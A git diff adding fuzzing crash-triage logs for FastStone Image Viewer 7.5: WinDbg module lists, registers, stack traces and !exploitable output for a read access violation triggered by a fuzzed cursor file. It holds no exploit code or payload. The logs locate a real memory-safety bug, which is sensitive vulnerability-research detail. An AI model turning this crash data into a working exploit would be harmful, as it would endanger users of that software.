+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..4bfa5af --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x364: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x364: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(364.17b4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e97b10 edx=00003879 esi=12738f10 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.76231e-011 4.55041e+015 1.46157e-028 -4.82336e+024 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002a7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002a7000 007b3f74 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002a7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..4bfa5af --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/30331/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x364: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x364: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(364.17b4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e97b10 edx=00003879 esi=12738f10 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.76231e-011 4.55041e+015 1.46157e-028 -4.82336e+024 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002a7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002a7000 007b3f74 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002a7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] 